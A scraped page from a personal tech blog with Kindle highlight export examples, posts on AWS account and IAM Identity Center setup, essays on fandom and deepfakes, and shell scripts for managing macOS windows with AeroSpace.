      "text": "Why Things Are on Your Mind Most often, the reason something is on your mind is that you want it to be different than it currently is, and yet: you haven’t clarified exactly what the intended outcome is; This consistent, unproductive preoccupation with all the things we have to do is the single largest consumer of time and energy. —Kerry Gleeson you haven’t decided what the very next physical action step is; and/or you haven’t put reminders of the outcome and the action required in a system you trust. That’s why it’s on your mind. Until those thoughts have been clarified and those decisions made, and the resulting data has been stored in a system that you absolutely know you will access and think about when you need to, your brain can’t give up the job. You can fool everyone else, but you can’t fool your own mind. It knows whether or not you’ve come to the conclusions you need to, and whether you’ve put the resulting outcomes and action reminders in a place that can be trusted to resurface appropriately within your conscious mind.* If you haven’t done those things, it won’t quit working overtime. Even if you’ve already decided on the next step you’ll take to resolve a problem, your mind can’t let go until and unless you park a reminder in a place it knows you will, without fail, look. It will keep pressuring you about that untaken next step, usually when you can’t do anything about it, which will just add to your stress.",
      "isNoteOnly": false,
      "location": {
        "url": "kindle://book?action=open&asin=B00KWG9M2E&location=652",
        "value": 652
      },
      "note": null
    },
    {
      "text": "Before you can achieve any of that, though, you’ll need to get in the habit of keeping nothing on your mind. And the way to do that, as we’ve seen, is not by managing time, managing information, or managing priorities. After all: you don’t manage five minutes and wind up with six; you don’t manage information overload—otherwise you’d walk into a library and die, or the first time you connected to the Web, you’d blow up; and you don’t manage priorities—you have them. Instead, the key to managing all of your stuff is managing your actions.",
      "isNoteOnly": false,
      "location": {
        "url": "kindle://book?action=open&asin=B00KWG9M2E&location=711",
        "value": 711
      },
      "note": null
    },
    {
      "text": "There is no reason to ever have the same thought twice, unless you like having that thought.",
      "isNoteOnly": false,
      "location": {
        "url": "kindle://book?action=open&asin=B00KWG9M2E&location=784",
        "value": 784
      },
      "note": null
    },
    {
      "text": "We (1) capture what has our attention; (2) clarify what each item means and what to do about it; (3) organize the results, which presents the options we (4) reflect on, which we then choose to (5) engage with.",
      "isNoteOnly": false,
      "location": {
        "url": "kindle://book?action=open&asin=B00KWG9M2E&location=833",
        "value": 833
      },
      "note": null
    },
    {
      "text": "Still others have good systems but don’t (4) reflect on the contents consistently enough to keep them functional. They may have lists, plans, and various checklists available to them (created by capturing, clarifying, and organizing), but they don’t keep them current or access them to their advantage. Many people don’t look ahead at their own calendars consistently enough to stay current about upcoming events and deadlines, and they consequently become victims of last-minute craziness.",
      "isNoteOnly": false,
      "location": {
        "url": "kindle://book?action=open&asin=B00KWG9M2E&location=857",
        "value": 857
      },
      "note": "Reflecting requires upkeep - there is a cost to this system. I never wanted to pay that cost but now is the time to embrace it."
    }
  ]
}

Example kindle-notebook.html file

An example HTML export from the a native Kindle app

<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Strict//EN"
"XHTML1-s.dtd" >
<html xmlns="http://www.w3.org/TR/1999/REC-html-in-xml" xml:lang="en" lang="en">
    <head>
    <meta charset="UTF-8">
    <style>
        .bodyContainer {
            font-family: Arial, Helvetica, sans-serif;
            text-align: center;
            padding-left: 32px;
            padding-right: 32px;
        }
        
        .notebookFor {
            font-size: 18px;
            font-weight: 700;
            text-align: center;
            color: rgb(119, 119, 119);
            margin: 24px 0px 0px;
            padding: 0px;
        }
        
        .bookTitle {
            font-size: 24px;
            font-weight: 700;
            text-align: center;
            color: #333333;
            margin-top: 22px;
            padding: 0px;
        }
        
        .authors {
            font-size: 18px;
            font-weight: 700;
            text-align: center;
            color: rgb(119, 119, 119);
            margin-top: 22px;
            margin-bottom: 24px;
            padding: 0px;
        }
    
        .citation {
            font-size: 18px;
            font-weight: 500;
            text-align: center;
            color: #333333;
            margin-top: 22px;
            margin-bottom: 24px;
            padding: 0px;
        }
    
        .sectionHeading {
            font-size: 24px;
            font-weight: 700;
            text-align: left;
            color: #333333;
            margin-top: 24px;
            padding: 0px;
        }
        
        .noteHeading {
            font-size: 18px;
            font-weight: 700;
            text-align: left;
            color: #333333;
            margin-top: 20px;
            padding: 0px;
        }
        
        .noteText {
            font-size: 18px;
            font-weight: 500;
            text-align: left;
            color: #333333;
            margin: 2px 0px 0px;
            padding: 0px;
        }
        
        .highlight_blue {
            color: rgb(178, 205, 251);
        }
        
        .highlight_orange {
            color: #ffd7ae;
        }
        
        .highlight_pink {
            color: rgb(255, 191, 206);
        }
        
        .highlight_yellow {
            color: rgb(247, 206, 0);
        }
        
        .notebookGraphic {
            margin-top: 10px;
            text-align: left;
        }
        
        .notebookGraphic img {
            -o-box-shadow:      0px 0px 5px #888;
            -icab-box-shadow:   0px 0px 5px #888;
            -khtml-box-shadow:  0px 0px 5px #888;
            -moz-box-shadow:    0px 0px 5px #888;
            -webkit-box-shadow: 0px 0px 5px #888;
            box-shadow:         0px 0px 5px #888; 
            max-width: 100%;
            height: auto;
        }
        
        hr {
            border: 0px none;
            height: 1px;
            background: none repeat scroll 0% 0% rgb(221, 221, 221);
        }
        </style>
        <script>
            </script>
    </head>
    <body>
        <div class="bodyContainer">
            <div class="notebookFor">
                Notebook Export
            </div>
            <div class="bookTitle">
                Johnstone, Keith - Impro - improvisation and the theater (1992)
            </div>
            <div class="authors">
                Keith Johnstone
            </div>
            <div class="citation">
                
            </div>
            <hr />
            <div class="sectionHeading">
    Introduction
</div><div class="noteHeading">
    Highlight(<span class="highlight_yellow">yellow</span>) - Page 9 · Location 55
</div>
<div class="noteText">
    I first met Johnstone shortly after he had joined the Court as a los-a-script play-reader, and he struck me then as a revolutionary idealist looking around for a guillotine. He saw corruption everywhere.
</div><div class="sectionHeading">
    Notes on Myself
</div><div class="noteHeading">
    Highlight(<span class="highlight_yellow">yellow</span>) - Page 13 · Location 103
</div>
<div class="noteText">
    As I grew up, everything started getting grey and dull. I could still remember the amazing intensity of the world I’d lived in as a child, but I thought the dulling of perception was an inevitable consequence of age—just as the lens of the eye is bound gradually to dim. I didn’t understand that clarity is in the mind. I’ve since found tricks that can make the world blaze up again in about fifteen seconds, and the effects last for hours. For example, if I have a group of students who are feeling fairly safe and comfortable with each other, I get them to pace about the room shouting out the wrong name for everything that their eyes light on. Maybe there’s time to shout out ten wrong names before I stop them. Then I ask whether other people look larger or smaller—almost everyone sees people as different sizes, mostly as smaller. ‘Do the outlines look sharper or more blurred?’ I ask, and everyone agrees that the outlines are many times sharper. ‘What about the colours?’ Everyone agrees there’s far more colour, and that the colours are more intense. Often the size and shape of the room will seem to have changed, too. The students are amazed that such a strong transformation can be effected by such primitive means—and especially that the effects last so long.
</div><div class="noteHeading">
    Highlight(<span class="highlight_yellow">yellow</span>) - Page 13 · Location 118
</div>
<div class="noteText">
    One afternoon I was lying on my bed and investigating the effects of anxiety on the musculature (how do you spend your afternoons?).
</div><div class="noteHeading">
    Highlight(<span class="highlight_yellow">yellow</span>) - Page 14 · Location 135
</div>
<div class="noteText">
    At about the age of nine I decided never to believe anything because it was convenient. I began reversing every statement to see if the opposite was also true. This is so much a habit with me that I hardly notice I’m doing it any more. As soon as you put a ‘not’ into an assertion, a whole range of other possibilities opens out—especially in drama, where everything is supposition anyway.
</div><div class="noteHeading">
    Highlight(<span class="highlight_yellow">yellow</span>) - Page 22 · Location 285
</div>
<div class="noteText">
    When I hear that children only have an attention span of ten minutes, or whatever, I’m amazed. Ten minutes is the attention span of bored children, which is what they usually are in school—hence the misbehaviour.
</div><div class="noteHeading">
    Highlight(<span class="highlight_yellow">yellow</span>) - Page 28 · Location 394
</div>
<div class="noteText">
    What really got me started again was an advert for a play of mine in the paper, a play called The Martian. I had never written such a play, so I phoned up Bryan King, who directed the theatre. ‘We’ve been trying to find you,’ he said. ‘We need a play for next week, does the title The Martian suit you?’
</div><div class="noteHeading">
    Note - Page 28 · Location 396
</div>
<div class="noteText">
    WHAT
</div>
        </div>
    </body>
</html>

This system expects a directory structure like this in a Hugo site:

content/
  books/
    book-name/
      index.md
      bookcision.json
      kindle-notebook.html

Take the above and make your own!

If you’re interested in this, you might want to check out:

clippings.io, a nice simple service for exporting Kindle annotations
Notado, a bookmarking service that can also pull in Kindle highlights (I haven’t tried this)
Readwise (invite link), designed around reminding you of your highlights over time
Bookcision, a free bookmarklet from Readwise that lets you download your highlights from the web without using their paid service at all
How to annotate literally everything, a blog post about highlighting and making notes on all kinds of content
Exporting Kindle Highlights for Personal Documents, a blog post about the Kindle app’s process for emailing yourself an HTML file
bibliographer (GitHub), my project to create Hugo pages from Kindle, Audible, and Libro.fm libraries

Write a comment on the original post.

AWS account hygiene

Wed, 29 Oct 2025 07:20:00 -0500

I’ve been neglecting making security improvements to my AWS account, but a recent new project (announcement forthcoming) was a good opportunity to fix this.

The project will deploy via CI, and I’d like to limit the damage a compromised CI could do, particularly to my primary DNS zones. The best way to limit this is to create a separate AWS account scoped just to the project, which is described below, along with some other security improvements.

I’m happy to report that IAM Identity Center makes everything pretty smooth. I was afraid this would cause more disruption, but the new security speedbumps are manageable and don’t slow me down very much at all.

This post is mostly just a note to myself.

Removing tokens from root user

Amazon’s advice is to never use programmatic access tokens for the root user of an AWS account.

This never made sense to me, as for at least some work I use credentials with widely scoped access permissions. What is the benefit to creating an admin level user with the same permissions that the root user has and using that instead? But today I realized there is one way this makes sense: the root user can delete the account and affect billing settings, but an admin user with full CRUD permissions cannot.

I think this difference is pretty minimal for my lab accounts, but not zero, so I went ahead and disabled my long-lived root access tokens for my primary account.

This is a one time task for each AWS account, so the best way to do it is in the CloudShell.

Creating sub accounts for CI

The easiest way to make sure a project’s wide resource creation and modification permissions cannot be used to affect existing infrastructure is to create a separate account per project. E.g. all my DNS for my primary domains are in Route53, and I want to add a new project that can also modify DNS records for the project’s own domain. The best separation is to just make a separate account for that project.

You can also do this with resource names, tags, etc, but this gets fragile. What’s going to be easy to understand when I come back to this project in 18 months is that all its resources are in a dedicated account.

Separate accounts are free.

You will need to create an IAM user that can manage accounts, though, because the main account root user cannot assume sub-account identities.

Organization hygiene

Creating separate accounts requires creating an AWS organization.

The account that creates the org is the account that will own the org, and this cannot be changed later.

Enable “Centralized root access for member accounts” in IAM from the org owner.

IAM and IAM Identity Center

These are entirely separate AWS products, lol
You have to IAM Identity Center in the console
IAM Identity Center is like a directory of users that can be assigned AWS permissions — conceptually, it’s like Active Directory for AWS

What I did

My starting place: me@micahrl.com was root user for my only AWS account, and it had programmatic access keys.

From there:

Create AWS organization
- My current AWS account is now the owner of that organization
Modify my root AWS account
- This is root for my primary AWS account — which is now also the organization owner
- Deactivate its access keys, preventing programmatic access. (I found that these keys were created 3599 days ago - nearly 10 years!)
- Change its email address from my primary me@micahrl.com address to an account root address me+aws-primary@micahrl.com
Create new account under the organization for my new project (TBD…)
- The root email address for this account is me+aws-PROJECT@micahrl.com
- Credentials are not created - neither username/password for logging in to the web console, nor access key for programmatic use
Enable IAM Identity Center
- Created a new user with my primary me@micahrl.com address
- Create a new permission set -> Predefined permission set -> AdministratorAccess
- Assign my new user the new permission set for each account: AWS Organizations: AWS Accounts -> Select all accounts -> Assign users and groups -> Select the user and the permission set.
- It sends that new user an email, and I log in and create my account.
- Take note of the “start URL”, which this user will need to log in

To use the IAM Identity Center account to log in to the web console:

Visit the “Start URL”
Select the AWS account to log in to
It opens a new tab to the AWS console scoped to the account you selected

You can also copy credentials to be used on the command line after logging in to the Start URL, but the nicest way to use an IAM Identity Center account on the command line is to:

# Configure the account one time on each workstation
aws configure sso
# This launches an interactive command with the following prompts:
# SSO session name (Recommended): primary-micahrl # This doesn't matter, it just names the session we use to log in to IAM Identity Center
# SSO start URL [None]: https://SOMETHING.awsapps.com/start # This was provisioned with your IAM Identity Center instance
# SSO region [None]: us-east-2 # The region your IAM Identity Center instance is in
# SSO registration scopes [sso:account:access]: # Leave blank
# Attempting to automatically open the SSO authorization page in your default browser.
# If the browser does not open, open the following URL: ...
# (It waits for you to log in and authorize in a browser)
# There are 2 AWS accounts available to you.
#   Using the account ID XXXX # You can pick this by selecting with arrow keys
# The only role available to you is: AdministratorAccess
# Using the role name "AdministratorAccess"
# Default client Region [None]: us-east-2 # The default region you want to use when running the aws command etc
# CLI default output format (json if not specified) [None]: # Leaving as the default is fine
# Profile name [AdministratorAccess-379474500957]: primary-micahrl # Set a profile name, which is used below

# Log in whenever I need to use it, will launch a web browser and start a session
aws sso login --profile primary-micahrl

# For the duration of my session, execute commands with --profile
aws sts get-caller-identity --profile primary-micahrl
aws s3 ls ... --profile primary-micahrl # etc

# You can also inject AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY into your environment,
# which any AWS client can use directly, including 'hugo deploy' etc:
eval "$(aws configure export-credentials --profile primary-micahrl --format env)"

# After my session expires, I just have to reauthenticate with the same profile
aws sso login --profile primary-micahrl

# I use the same process to create profiles for all accounts that I added this IAM Identity Center user to
aws configure sso

You can also log in to the “start URL” on the web and get access to any account with delegated credentials

All of this is free!

Update: adding a new account

Now, I add a new account for each discrete project. To do this:

Log in to the root organization
AWS Organizations application -> (global region) -> AWS accounts in the sidebar -> Add an AWS account
Create the account with an appropriate me+aws-PROJECT@micahrl.com email address
IAM Identity Center application -> my primary IAM IC region (us-east-2 at the time of this writing) -> AWS accounts in the sidebar -> Select the new account and click Assign users or groups -> Select my user and click Next -> Select the AdministratorAccess permission set and click next -> Submit

This creates the account, and gives my primary user the ability to manage it, so that it is available on the Start URL.

To add it to the command line with aws sso login, run aws configure sso and give it a unique name, as described above.

Update: “IAM user and role access to Billing information” on root account

This all works great, but the IAM user didn’t have access to billing information in the root account. In the “Billing and Cost Management” app in the console, it would show Access denied for all items for the root account only.

To fix:

Log in as the root user for the primary account
Billing and Cost Management -> Account -> “IAM user and role access to Billing [sic] information” section -> Activate IAM Access

This seems to be on by default for new sub-accounts, but is off by default for the root account.

Write a comment on the original post.

Fandom considered harmful

Mon, 06 Oct 2025 23:00:00 -0500

My definition of a “fan” is a person who makes something a core part of their identity. Colloquially, this definition is intertwined with that of the enthusiast and the supporter, but I want to keep those other concepts separate. Enthusiasts might know all the stats and have a good time at live events, and supporters might invest resources toward a preferred outcome, but fans make their objects of interest part of who they are.

And I think that people are far too cavalier about what they allow into their identity.

Entertainers, sports teams, and corporations do not belong in your core. They change for reasons you have no control over, and they have no duty of care to you. These things all have some business or power-related purpose. That’s not derogatory — money and power are morally neutral things, and it only makes sense that part of our society is organized around them. But it makes them unfit for stewardship of a whole human being.

Ben Collins-Sussman had this clarity about being laid off from Google, when he said:

Please understand: Google is not a person. It’s many groups of people following locally-varying processes, rules, and culture. To that end, it makes no sense to either love or be angry at “Google”; it’s not a consciousness, and it has no sense of duty nor debt.

Ben Collins-Sussman, FAQ on leaving Google

Brian Cantrill has a great admonishment coming from his time at Sun as it was being purchased by Oracle:

Do not fall into the trap of anthropomorphising Larry Ellison. You need to think of Larry Ellison the way you think of a lawnmower. You don’t anthropomorphize your lawnmower, the lawnmower just mows the lawn, you stick your hand in there and it’ll chop it off, the end. You don’t think “oh, the lawnmower hates me” — lawnmower doesn’t give a shit about you, lawnmower can’t hate you. Don’t anthropomorphize the lawnmower. Don’t fall into that trap about Oracle.

Brian Cantrill, LISA11 - Fork Yeah! The Rise and Development of illumos at 38:26

But I think this stops short. Employees should not take Larry Ellison’s actions personally because he is acting on behalf of Oracle. I think Brian is trying to imply that Larry has low moral character here, which I have no opinion on; it may well be true. But you should never treat a corporation as a person, whether the individuals that make it up are individually upright or depraved.

Brent Simmons arrives at the same conclusion about Apple.

But I need to remember, now and again, that Apple is a corporation, and corporations aren’t people, and they can’t love you back. You wouldn’t love GE or Exxon or Comcast — and you shouldn’t love Apple. It’s not an exception to the rule: there are no exceptions.

Brent Simmons, Corporations Are Not To Be Loved

Eric Schwarz links to that post and adds an interesting observation:

My relationship with Apple is a lot like following a sports team...

Eric Schwarz, Snippet: Corporations Are Not To Be Loved

As a sports outsider, this captures what’s so strange to me about sports. Like corporations, teams are not people. Actually, not just “like” corporations; teams are corporations whose business happens to be sports. A team decision might be inconvenient, but there is no need for this:

Even more than the sadness, even more than the anger and the despair and the disgust, there is loneliness.

Tim Keown, Oakland A's fans say painful farewell ahead of move to Las Vegas

Sadness makes sense, to a point, as the enthusiasts are losing something they enjoy. Loneliness makes sense for some, as attending sports live can be a communal experience. But anger and despair and disgust? You don’t have to live that way. This reminds me of some friends I had when I was a kid. Their dad would be in a bad mood for three days if the University of Texas lost a football game. You don’t have to live that way, either (and your family deserves better).

John Gruber recently wrote of his feelings about decisions that Tim Cook made:

Did Cook’s Oval Office display of fealty and his grotesque golden gift make you feel something? Did it engender an emotional response? Grossed out, perhaps? A little sick? Angry? Offended? Me too. But did you feel good — reassured? proud? — when Cook skipped that Middle East Trump tour in May?

John Gruber, Gold, Frankincense, and Silicon

An enthusiast might feel offended or reassured by a CEO’s decisions, but only a fan could feel sick or proud. Of the fans, I ask: How can you justify pride in something you had no part in? And is that pride worth the feelings of sickness?

As bad as this problem is in technology and sports fan circles, its worse with celebrities. Taylor Swift and Joe Rogan and MrBeast are not people in the context of interaction with their fans; they are businesses, and everything above about corporations applies to them just as well. But they come to us in a person-shaped package, pre-anthropromorphized for our convenience. They don’t encourage fandom out of malice (because they are businesses, which are incapable of malice) but because they are incentivized to do so, because they benefit when we tie our identity to theirs.

Fans of these personalities are often described as having “parasocial relationships” with them, which is a description that I think obscures more than it illuminates. The simpler way to say it is in our definition of “fan” from earlier: they have made that celebrity part of their identity. For instance:

I think some people really need to unpack why they feel so betrayed by her not being a “lesbian”...

u/PurpleCentaur on reddit

A celebrity may or may not be deceitful (no comment on this particular case), but only a fan can be betrayed. (Blocked and Reported has a segment in a premium episode with more examples of this particular category of fan reaction.)

Because the fan internalizes the celebrity, whatever the celebrity does becomes something that the fan has to answer for, something that they judge themselves for.

Hello I am a middle schooler NCTzen. First, I apologize for the damages caused by Renjun’s actions. He has been sick and having a hard time lately, so I think his actions came out first. I heard you are receiving much hate from fans despite him admitting his wrongdoing and apologizing. I also apologize for the damage received from thoughtless fans.

Anonymous K-Pop fan quoted in Koreaboo, Korean Netizens In Utter Disbelief At Fan Posting A Handwritten Apology On Behalf Of NCT’s Renjun

An empathetic aficionado might care for victims of a celebrity’s thoughtlessness, but only a fan could personally apologize for it.

Instead, you can opt out. Enjoy Linux or the New England Patriots or Chris Rock without making those things part of who you are. I tend to think those things are just expressions of something deeper anyway, and that that deeper thing can sometimes even be sublime. Two examples:

I value the tradeoffs that Apple has made to protect my privacy in iOS, because I believe in individual dignity, and privacy is a part of respecting that. I fear that one day Apple might lessen that protection. If my fears are realized, I’ll be frustrated at my diminished choices, but because I’m not a fan of Apple, my sense of self would remain unscathed.
To me, the protections defined in the US Constitution are truly noble. I don’t need to be a fan of the Founding Fathers to feel stirred by the righteousness of the principles behind that document, and by keeping those flawed humans out of my sense of who I am, I feel no compulsion to explain away their faults, or accept them into myself.

That freedom is enough to make me walk away from a fan identity altogether.

Write a comment on the original post.

Deepfakes: just rip the bandaid off

Tue, 30 Sep 2025 14:00:00 -0500

I roll my eyes every time someone obsequiously mentions the potential for deepfakes to “do harm”, which has been causing me eye strain lately.

The whole concept of a “deepfake” is bankrupt; it’s just a lie in a new format. We put video on a pedestal, and now that the overwhelming wave of automation has knocked it down¹, we need to stop wringing our hands and accept the new reality. Video can’t be trusted. Society has to adapt — without leaning on censorship.

We are strong enough to survive a Google Docs that doesn’t interfere with text generation, and a Photoshop that doesn’t interfere with still image generation, and goddammit even an OpenAI Sora or Google Veo that doesn’t interfere with video generation. Video isn’t special.

The sharp edge of this is ugly, but there’s nothing new about that. The sharp edge of text and still image generation was already ugly. The legal and social tools we have to deal with vile speech don’t need to be changed to prevent it. Instead, we should change them to revert video to the mean: treat it just like they already treat text and still images. Video is now no better than rumor. It shouldn’t hold up in court of law or court of public opinion any more.

The alternative is to keep video on the pedestal, and prohibit lying by policy. This is tempting because it is a direct representation of what we really want: for lies to be transparent, to be able to trust whatever we read or hear or watch. But it’s stupid because it’s impossible. You can’t prohibit lies, and we wouldn’t want to live in a society that could.

Counterintuitively, when we accept that, we’ll provide better for those wounded by all the sharp edges.

An utterly predictable outcome, discussed speculatively for decades. ↩︎

Write a comment on the original post.

Idempotently creating windows with AeroSpace

Thu, 25 Sep 2025 06:51:36 -0500

I started using AeroSpace on macOS a few months ago. It’s a neat paradigm that works pretty well, despite working against any UX goals Apple could be said to have. The keyboard-driven navigation has been worth putting up with the inconveniences and bugs so far to me.

I’ve recently been looking into idempotent window creation — meaning, creating a new window if and only if a window for that purpose doesn’t already exist. For instance, a given project might always have at least three windows: VS Code, a Terminal for normal interaction, and a Terminal running Claude Code. When I start working on a project, I will want to open all those windows, but if I was working on it before, I don’t want to open new copies of them. To do this, I have tricks for both Terminal and VS Code.

Finding an existing window by its title

AeroSpace can list window titles by their application ID; combine this functionality with grep to find any application window by its title regex.

# Find a window ID based on its application bundle ID and a title regex
find_app_window_id() {
    app_bundle_id="$1"
    title_regex="$2"
    aerospace list-windows --app-bundle-id "$app_bundle_id" --monitor all --format '%{window-id} %{window-title}' |
        while read -r line; do
            wid=${line%% *}
            title=${line#* }
            if echo "$title" | grep -qE "$title_regex"; then
                echo "$wid"
            fi
        done
}

The application bundle ID is a macOS concept. AeroSpace will list all open applications with aerospace list-apps.

> aerospace list-apps
679   | com.apple.Terminal                                           | Terminal
44453 | com.microsoft.VSCode                                         | Code
68472 | org.mozilla.firefox                                          | Firefox
# ... etc

Finding existing Terminal windows

The trick is to use xterm control sequences to embed a unique string into your Terminal’s title bar, then find that a window with that unique string via the above trick.

I use Unicode glyphs to make sure that no normal Terminal window will contain the title sequence.

# The glyph for my primary shell terminal for a given project
termglyph="❯"
# The glyph for my Claude Code terminal for a given project
llmglyph="∑"

I combine those glyphs with a short project identifier, ending up with Terminal windows that contain ❯ me.micahrl.com or ∑ dhd in them.

I also need a way to run commands on a new Terminal window, both to set this title, and to cd to the project dir, run Claude, etc. Fortunately this already exists via AppleScript.

# Open a new Terminal window running the given script.
open_terminal_with_script() {
    script="$1"
    osascript -e '
tell application "Terminal"
    do script "'"$script"'"
    activate
end tell'
}

Calling this directly like open_terminal_with_script 'echo Hi; cd /tmp' works ok, but as you can see there will be issues with quoting. The best way to sidestep that is to use a temporary file, and dot-source it.

Putting that all together, we get:

# Move or open a Terminal window by a special title, and run a command in it.
# Rely on a title that should be unique in any possible Terminal title text.
# It is recommended to use a special glyph to make it unique.
# Search for an existing window with that title, and if found, move it to the given workspace.
# If not found, open a new Terminal window running the given command,
# and set its title to the given title with a terminal escape sequence.
# (Note that setting the title will only actually set part of the window title,
# depending on your Terminal settings.)
terminal_move_or_open() {
    workspace="$1"
    title="$2"
    cmd="$3"

    # Create a temp file to hold the script to run.
    # This gets around quoting issues with osascript.
    # The script will delete itself before doing any work ---
    # it's better to do it that way than try to do it from the parent shell
    # where we might delete it before Terminal has a chance to run it.
    # TMPDIR on macOS is guaranteed to exist and be writable, and allow no other users.
    tmpfile="$TMPDIR/terminal_move_or_open_${workspace}_${title}.sh"
    cat > $tmpfile << ENDSCRIPT
#!/bin/sh
# Run with set -x so the cmd is shown to the user when the terminal opens.
set -x
rm -f $tmpfile
printf '\033]0;%s\007' '$title'
$cmd
set +x
ENDSCRIPT

    existing_terminal=$(find_app_window_id 'com.apple.Terminal' "$title" | head -n1 || true)
    if test "$existing_terminal"; then
        aerospace move-node-to-workspace --window-id "$existing_terminal" "$workspace"
    else
        # Run by dot-sourcing so that commands like 'cd' will work
        open_terminal_with_script ". '$tmpfile'"
    fi
}

I call it like this:

# Local directories
terminal_move_or_open t \
    "${termglyph} me.micahrl.com" \
    "cd '${HOME}/mrldata/Repositories/me.micahrl.com'"
terminal_move_or_open t \
    "${llmglyph} me.micahrl.com" \
    "cd '${HOME}/mrldata/Repositories/me.micahrl.com'; /Users/mrled/.bun/bin/claude;"

# Remote directories
terminal_move_or_open w \
    "${termglyph} understatement1" \
    "ssh chineseroom.micahrl.com -t 'cd ~/work/understatement1 && exec \$SHELL -l'"
terminal_move_or_open w \
    "${llmglyph} undersetatement1" \
    "ssh chineseroom.micahrl.com -t 'cd ~/work/understatement1 && exec \$SHELL -l -i -c \"/home/callista/.local/bin/claude --dangerously-skip-permissions\"'"

Finding existing VS Code windows

This turns out to be really easy, because VS Code always puts its project directory name in the title bar, and we already have a function for finding an app’s window based on its title bar.

vscode_move_or_open() {
    workspace="$1"
    window_regex="$2"
    uri="$3"

    existing_vscode=$(find_app_window_id 'com.microsoft.VSCode' "$window_regex" | head -n1  || true)
    if test "$existing_vscode"; then
        aerospace move-node-to-workspace --window-id "$existing_vscode" "$workspace"
    else
        # ?windowId=_blank forces a new window.
        open "$uri?windowId=_blank"
    fi
}

We use VS Code’s support for opening URIs because this allows us to specify remote project directories too.

# A local project directory in my homedir
vscode_move_or_open t 'me\.micahrl\.com$' "vscode://file/${HOME}/mrldata/Repositories/me.micahrl.com"

# A remote project directory over SSH
vscode_move_or_open w \
    'understatement1 \[SSH: chineseroom.micahrl.com' \
    'vscode://vscode-remote/ssh-remote+chineseroom.micahrl.com/home/callista/work/understatement1'

How I use this

I have functions for all my project workspaces that launch the IDE and the terminals, like this:

workspace_me_micahrl_com() {
    aerospace workspace t
    vscode_move_or_open t 'me\.micahrl\.com$' "vscode://file/${HOME}/mrldata/Repositories/me.micahrl.com"
    terminal_move_or_open t \
        "${termglyph} me.micahrl.com" \
        "cd '${HOME}/mrldata/Repositories/me.micahrl.com'"
    terminal_move_or_open t \
        "${llmglyph} me.micahrl.com" \
        "cd '${HOME}/mrldata/Repositories/me.micahrl.com'; /Users/mrled/.bun/bin/claude;"
}

workspace_understatement_dev_1() {
    aerospace workspace w
    vscode_move_or_open w \
        'understatement1 \[SSH: chineseroom.micahrl.com' \
        'vscode://vscode-remote/ssh-remote+chineseroom.micahrl.com/home/callista/work/understatement1?windowId=_blank'
    terminal_move_or_open w \
        "${termglyph} understatement1" \
        "ssh chineseroom.micahrl.com -t 'cd ~/work/understatement1 && exec \$SHELL -l'"
    terminal_move_or_open w \
        "${llmglyph} undersetatement1" \
        "ssh chineseroom.micahrl.com -t 'cd ~/work/understatement1 && exec \$SHELL -l -i -c \"/home/callista/.local/bin/claude --dangerously-skip-permissions\"'"
}

They’re invoked from a script by key bindings in my AeroSpace configuration.

What’s missing

I don’t have a good way to do this for Firefox windows — what I’d like is a way to query a window for all its tabs’ URLs, but I don’t know how to do that.

Other windows

All the other app windows I use daily tend to be one window per app, so AeroSpace’s on-window-detected callback works fine for them.

[[on-window-detected]]
if.app-id = "com.apple.ActivityMonitor"
run = ["move-node-to-workspace 10"]

Write a comment on the original post.

me.micahrl.com blog

Color HTML Ghostty transcripts

A fortunate birthday

Party cookies

Fortunes

Divination

Food

kubectl, tmux, and local network permissions

Workarounds

Poorly thought-out design

References

Miscellaneous troubleshooting notes

A club for symmetrical DNS names

SSH, tmux, and agent forwarding

My configuration

Technical details

tmux environment

zsh hook functions

SSH configuration

Naming nonconsensual AI clones

Fuck the safety briefing

Now deployed with Hedgerules

AWS observability

On Netlify

Anthropic, you need a shell parser

Burton’s Thousand Nights and a Night

“Obsessive focus”

Three stories about slave girls

ABU AL-ASWAD AND HIS SLAVE-GIRL.

HARUN AL-RASHID AND THE TWO SLAVEGIRLS.

THE CALIPH HARUN AL-RASHID AND THE THREE SLAVE-GIRLS.

The Ebony Horse

Lady Burton’s Edition

Sources

The Book of the Thousand Nights and a Night

Supplemental Nights to the Book of the Thousand Nights and a Night

There is no new privacy concern for LLMs training on your data

Linkblogging

Reclaim notifications

Site updates December 2025

Design updates

Projects, blog, and TIL layouts

New project pages and updates

Image and video galleries

Removed most of twarchive

Dev toolbar easteregg

Bibliographer supports Raindrop.io highlights

References

Favorite redactions

As the government explained

FBI retirement party

Guantanamo artwork

No snack car

Redacted coloring book

Coloring book

FBI ████████ Retirement Party Coloring Book PDF

Sources

Coloring book creation details

Wrapping paper

Typography, CSS, and wrapping paper

Automated GitHub Issues search

Kindle Notebook export

AWS account hygiene

Removing tokens from root user

Creating sub accounts for CI

Organization hygiene

IAM and IAM Identity Center

What I did

Update: adding a new account

Update: “IAM user and role access to Billing information” on root account

Fandom considered harmful

Deepfakes: just rip the bandaid off

Idempotently creating windows with AeroSpace

Finding an existing window by its title

Finding existing Terminal windows

Finding existing VS Code windows

How I use this

What’s missing

Other windows

Removed most of `twarchive`